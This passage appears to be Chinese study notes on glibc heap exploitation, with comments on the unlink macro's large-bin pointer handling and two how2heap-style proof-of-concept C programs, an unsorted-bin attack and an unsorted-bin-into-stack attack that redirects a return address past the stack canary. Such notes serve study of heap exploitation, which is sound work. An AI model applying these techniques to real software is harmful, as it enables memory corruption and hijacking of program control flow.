                  FD->fd_nextsize = FD->bk_nextsize = FD;
                //大小相同的下一个chunk作为新结点
                //fd_nextsize和bk_nextsize均指向自己\
                else {
                    
                    //将fd_nextsize和bk_nextsize赋给下一个大小一样的chunk
                    //让其作为该大小新的结点
                    //后两句调整大小不一样的chunk指向新结点
                    FD->fd_nextsize = P->fd_nextsize;			      \
                    FD->bk_nextsize = P->bk_nextsize;			      \
                    P->fd_nextsize->bk_nextsize = FD;			      \
                    P->bk_nextsize->fd_nextsize = FD;			      \
                  }							      \
              } else {
                //该bins中没有与当前chunk大小相同的chunk==》
                //fd_nextsize一定不为空\
                P->fd_nextsize->bk_nextsize = P->bk_nextsize;		      \
                P->bk_nextsize->fd_nextsize = P->fd_nextsize;		      \
              }								      \
          }								      \
      }									      \
}

unsorted_bin_attack.c

#include <stdio.h>
#include <stdlib.h>
#include <assert.h>

int main(){

	volatile unsigned long stack_var=0;

	unsigned long *p=malloc(0x410);
	malloc(500);

	free(p);

	p[1]=(unsigned long)(&stack_var-2);

	malloc(0x410);

	assert(stack_var != 0);
}

与2.23一致

unsorted_bin_into_stack.c

#include <stdio.h>
#include <stdlib.h>
#include <stdint.h>
#include <string.h>
#include <assert.h>

void jackpot(){ printf("Nice jump d00d\n"); exit(0); }

int main() {
	setbuf(stdout, NULL);
	intptr_t stack_buffer[4] = {0};

	intptr_t* victim = malloc(0x410);

	intptr_t* p1 = malloc(0x410);

	free(victim);

	stack_buffer[1] = 0x410 + 0x10;
	stack_buffer[3] = (intptr_t)stack_buffer;

	victim[-1] = 0x30;
	victim[1] = (intptr_t)stack_buffer; // victim->bk is pointing to stack

	char *p2 = malloc(0x410);
	printf("malloc(0x410): %p\n", p2);

	intptr_t sc = (intptr_t)jackpot; // Emulating our in-memory shellcode
	memcpy((p2+40), &sc, 8); // This bypasses stack-smash detection since it jumps over the canary

	assert((long)__builtin_return_address(0) == (long)jackpot);
}

与2.23的区别为申请的chunk要增大==》绕过tcache